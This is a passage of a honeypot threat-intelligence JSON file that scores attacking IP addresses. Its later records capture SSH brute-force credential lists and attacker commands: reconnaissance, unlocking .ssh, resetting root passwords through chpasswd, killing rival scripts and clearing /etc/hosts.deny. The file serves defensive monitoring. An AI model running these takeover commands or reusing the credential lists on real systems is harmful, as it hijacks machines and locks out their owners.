      "asn": 6871,
      "as_org": "British Telecommunications PLC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:50:37.312000+00:00",
        "last_seen_30d": "2026-05-23T10:03:39.500000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "60.176.177.36": {
      "attack_count": 2,
      "first_seen": "2026-05-20T17:43:25.828Z",
      "last_seen": "2026-05-20T17:43:38.027Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:43:25.828000+00:00",
        "last_seen_30d": "2026-05-20T17:44:47.294000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.30.255.254": {
      "attack_count": 2,
      "first_seen": "2026-05-10T05:58:31.306Z",
      "last_seen": "2026-05-10T05:58:44.152Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Wembley",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:58:31.306000+00:00",
        "last_seen_30d": "2026-05-10T05:59:48.154000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.171.89.209": {
      "attack_count": 2,
      "first_seen": "2026-05-24T14:24:59.546Z",
      "last_seen": "2026-05-24T14:26:59.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:24:59.546000+00:00",
        "last_seen_30d": "2026-05-24T14:37:08.589000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "86.163.147.23": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:51:55.878Z",
      "last_seen": "2026-05-03T16:53:55.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bolton",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:51:55.878000+00:00",
        "last_seen_30d": "2026-05-03T17:04:40.958000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "88.164.102.193": {
      "attack_count": 2,
      "first_seen": "2026-05-07T20:06:56.399Z",
      "last_seen": "2026-05-07T20:07:09.448Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Meaux",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:06:56.399000+00:00",
        "last_seen_30d": "2026-05-07T20:08:12.535000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.74.7.55": {
      "attack_count": 2,
      "first_seen": "2026-05-15T17:27:44.254Z",
      "last_seen": "2026-05-15T17:27:57.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Gdansk",
      "asn": 9141,
      "as_org": "Play",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:27:44.254000+00:00",
        "last_seen_30d": "2026-05-15T17:29:02.675000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.158.177.61": {
      "attack_count": 2,
      "first_seen": "2026-05-24T15:25:31.937Z",
      "last_seen": "2026-05-24T15:25:44.964Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 61163,
      "as_org": "Global Technologies of Ukraine LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:25:31.937000+00:00",
        "last_seen_30d": "2026-05-24T15:26:50.423000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.190.2.158": {
      "attack_count": 2,
      "first_seen": "2026-05-17T03:11:35.610Z",
      "last_seen": "2026-05-17T03:11:48.614Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nizhnyaya Tura",
      "asn": 48524,
      "as_org": "INTERRA telecommunications group, Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:11:35.610000+00:00",
        "last_seen_30d": "2026-05-17T03:12:53.418000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.16.96.250": {
      "attack_count": 518,
      "first_seen": "2026-05-21T09:47:05.830Z",
      "last_seen": "2026-05-21T10:16:49.763Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctrip",
        "fu",
        "kubeadmin",
        "tiller",
        "zhao",
        "admin",
        "bind",
        "ho",
        "opensuse",
        "tencent",
        "v2ray",
        "vps",
        "wangfang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "Dd112211",
        "ab001",
        "bind",
        "ctrip",
        "eleme",
        "fu",
        "killer",
        "kubernetes",
        "linecloud",
        "password",
        "pubg123",
        "shujuku",
        "superman",
        "tiller",
        "v2ray",
        "wangfang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\npqOWy5x9W1Pq\\npqOWy5x9W1Pq\\n\"|passwd",
        "echo \"ctrip\\nvKBU7Yz5ChS2\\nvKBU7Yz5ChS2\\n\"|passwd",
        "echo \"fu\\nHb0xNHqlaRTW\\nHb0xNHqlaRTW\\n\"|passwd",
        "echo \"kubernetes\\n2LYCgY9EMzZA\\n2LYCgY9EMzZA\\n\"|passwd",
        "echo \"root:iyWM1Yhpo1f8\"|chpasswd|bash",
        "echo \"tiller\\nP50hMhrao5HL\\nP50hMhrao5HL\\n\"|passwd",
        "echo -e \"123456\\npqOWy5x9W1Pq\\npqOWy5x9W1Pq\"|passwd|bash",
        "echo -e \"ctrip\\nvKBU7Yz5ChS2\\nvKBU7Yz5ChS2\"|passwd|bash",
        "echo -e \"fu\\nHb0xNHqlaRTW\\nHb0xNHqlaRTW\"|passwd|bash",
        "echo -e \"kubernetes\\n2LYCgY9EMzZA\\n2LYCgY9EMzZA\"|passwd|bash",
        "echo -e \"tiller\\nP50hMhrao5HL\\nP50hMhrao5HL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 17222,
      "as_org": "MUNDIVOX DO BRASIL LTDA",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:47:05.830000+00:00",
        "last_seen_30d": "2026-05-21T10:17:58.731000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 518,
        "Suricata": 72
      }
    },
    "103.231.14.54": {
      "attack_count": 428,
      "first_seen": "2026-05-02T01:54:51.510Z",
      "last_seen": "2026-05-21T23:37:48.980Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test1",
        "admin",
        "claude",
        "denis",
        "es",
        "ftpuser",
        "nextcloud",
        "odoo17",
        "sammy",
        "student2",
        "test",
        "ts3",
        "ubuntu",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1029384756",
        "12",
        "123123",
        "1234",
        "1234568",
        "1@3$qWeR",
        "1qaz2wsx3edc4rfv",
        "Abcd1234",
        "Admin777",
        "Admin@2024",
        "Admin@2025.",
        "Az123123",
        "Claude2026!",
        "Jd@123456",
        "Qwer@12",
        "Root@123#",
        "Yy123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:WNhQT4GuHJjx\"|chpasswd|bash",
        "echo \"root:urG1Gi67BJMw\"|chpasswd|bash",
        "echo \"test@123\\nc4eVVDNQxsot\\nc4eVVDNQxsot\\n\"|passwd",
        "echo -e \"test@123\\nc4eVVDNQxsot\\nc4eVVDNQxsot\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 133731,
      "as_org": "Cloudie Limited",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 545,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:54:51.510000+00:00",
        "last_seen_30d": "2026-05-21T23:38:58.235000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 428,
        "Suricata": 117
      }
    },
    "50.84.211.204": {
      "attack_count": 416,
      "first_seen": "2026-05-03T13:29:04.255Z",
      "last_seen": "2026-05-28T23:30:20.097Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "debian",
        "git",
        "root1",
        "ansible",
        "es",
        "mahesh",
        "mysql",
        "myuser",
        "npadmin",
        "odoo",
        "odoo17",
        "sabina",
        "server",
        "siteadmin",
        "svenserver",
        "tb"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@!",
        "!Q2w3e4r",
        "1",
        "123",
        "12345",
        "1234567890",
        "123456789@Ab",
        "12345qwert",
        "222222",
        "P@ssw0rd123@",
        "Pakistan@123",
        "Pass123!",
        "Welcome123",
        "a123456789",
        "abc1234",
        "admin98",
        "admin_1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdf123456789\\n9H9YoP5diAGz\\n9H9YoP5diAGz\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nUANHo8CKaxhq\\nUANHo8CKaxhq\\n\"|passwd",
        "echo \"root:jxBmHN3QRs0p\"|chpasswd|bash",
        "echo -e \"asdf123456789\\n9H9YoP5diAGz\\n9H9YoP5diAGz\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nUANHo8CKaxhq\\nUANHo8CKaxhq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11427,
      "as_org": "Charter Communications Inc",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 523,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:29:04.255000+00:00",
        "last_seen_30d": "2026-05-28T23:31:22.237000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 416,
        "Suricata": 107
      }
    },
    "49.229.102.187": {
      "attack_count": 414,
      "first_seen": "2026-05-14T23:10:07.025Z",
      "last_seen": "2026-05-14T23:54:52.304Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "pakchoi",
        "...",
        "dbus-helper",
        "systemd-sync",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "123456a@",
        "321123",
        "Dr123456",
        "Kermit123@",
        "Passw0rd.",
        "Qwer@2020",
        "aA@12345678",
        "aish",
        "colton",
        "cvs",
        "dzy123",
        "externo",
        "fivem123",
        "giulio",
        "katrina",
        "lol_lol_L0L_12346!&^$%#@@_87568"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Kermit123@\\nmILRxf6tDstM\\nmILRxf6tDstM\\n\"|passwd",
        "echo \"linux123\\ng4qWK62LcMPJ\\ng4qWK62LcMPJ\\n\"|passwd",
        "echo \"root:0aY4FNAsZra1\"|chpasswd|bash",
        "echo \"root:PYOcTVPHKkj0\"|chpasswd|bash",
        "echo -e \"Kermit123@\\nmILRxf6tDstM\\nmILRxf6tDstM\"|passwd|bash",
        "echo -e \"linux123\\ng4qWK62LcMPJ\\ng4qWK62LcMPJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 494,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:10:07.025000+00:00",
        "last_seen_30d": "2026-05-14T23:55:53.344000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 80
      }
    },
    "154.18.197.35": {
      "attack_count": 384,
      "first_seen": "2026-05-16T15:28:24.590Z",
      "last_seen": "2026-05-16T16:05:40.181Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "qw",
        "username",
        "admin",
        "auser",
        "cassandra",
        "dev",
        "gitlab-runner",
        "mehdi",
        "radio",
        "ubuntu",
        "zhou"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "11223344",
        "123",
        "123456xx",
        "1qaz2wsx!QAZ",
        "20192019",
        "ASDFasdf1234",
        "Aa888888",
        "Passw0rd!",
        "Qwe123qwe",
        "Qwert123456",
        "abc123",
        "cassandra",
        "gitlab-runner",
        "host@123",
        "mehdi1234",
        "qw",
        "qwe123.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"abc123\\nTM0NNQ8A6Sed\\nTM0NNQ8A6Sed\\n\"|passwd",
        "echo \"qw\\nqO1LSqKqD6IV\\nqO1LSqKqD6IV\\n\"|passwd",
        "echo \"root:EiW04p1s2RPL\"|chpasswd|bash",
        "echo \"root:V1md01LyY5Gg\"|chpasswd|bash",
        "echo -e \"abc123\\nTM0NNQ8A6Sed\\nTM0NNQ8A6Sed\"|passwd|bash",
        "echo -e \"qw\\nqO1LSqKqD6IV\\nqO1LSqKqD6IV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Quezon City",
      "asn": 142271,
      "as_org": "EWS DS Networks Inc",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 451,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:28:24.590000+00:00",
        "last_seen_30d": "2026-05-16T16:06:46.149000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 384,
        "Suricata": 67
      }
    },
    "138.197.164.175": {
      "attack_count": 369,
      "first_seen": "2026-05-13T14:05:22.427Z",
      "last_seen": "2026-05-24T22:47:02.702Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "foundry",
        "wy",
        "adminz",
        "curl",
        "db",
        "debian",
        "deployer",
        "jenny",
        "nishant",
        "oracle",
        "sepehr",
        "temp",
        "test",
        "ubuntu",
        "unifi",
        "user",
        "user-backup"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#Abc123",
        "1234",
        "123456",
        "12345678a@",
        "1Digital",
        "Abcd1234#",
        "Aptx4869",
        "Change@123",
        "Df123456",
        "Fy123456",
        "Login@123",
        "Lt12345678",
        "P@s$w0rd",
        "P@ssw0rd.1",
        "Pa$$w0rd",
        "Qwerty1!",
        "Qwerty2025",
        "Sw.123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nfeHP1dD0jILY\\nfeHP1dD0jILY\\n\"|passwd",
        "echo \"wy@123\\nadJE1sPAwHlV\\nadJE1sPAwHlV\\n\"|passwd",
        "echo -e \"123456\\nfeHP1dD0jILY\\nfeHP1dD0jILY\"|passwd|bash",
        "echo -e \"wy@123\\nadJE1sPAwHlV\\nadJE1sPAwHlV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 479,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:05:22.427000+00:00",
        "last_seen_30d": "2026-05-24T22:48:10.998000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 369,
        "Suricata": 110
      }
    },
    "197.5.145.114": {
      "attack_count": 327,
      "first_seen": "2026-05-03T15:07:10.914Z",
      "last_seen": "2026-05-21T02:15:17.421Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "oppo",
        "345gs5662d34",
        "ali",
        "apache",
        "db",
        "developer",
        "kiran",
        "kubernetes",
        "li",
        "milky",
        "minji",
        "nanjing",
        "park",
        "pooja",
        "qin",
        "sakura",
        "steam",
        "tang"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "123",
        "12306",
        "12345678",
        "20252025",
        "345gs5662d34",
        "8520",
        "900101",
        "Abc1234%",
        "Admin@2024",
        "Admin_12345",
        "Dd112211",
        "June2024",
        "Passw0rd12#$",
        "Test#123",
        "Welcome!@#",
        "Yr@123456",
        "a12345@#",
        "abc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"oppo\\n2TGx4rKMqpuX\\n2TGx4rKMqpuX\\n\"|passwd",
        "echo \"root:rdvB3Sm69fTi\"|chpasswd|bash",
        "echo -e \"oppo\\n2TGx4rKMqpuX\\n2TGx4rKMqpuX\"|passwd|bash",
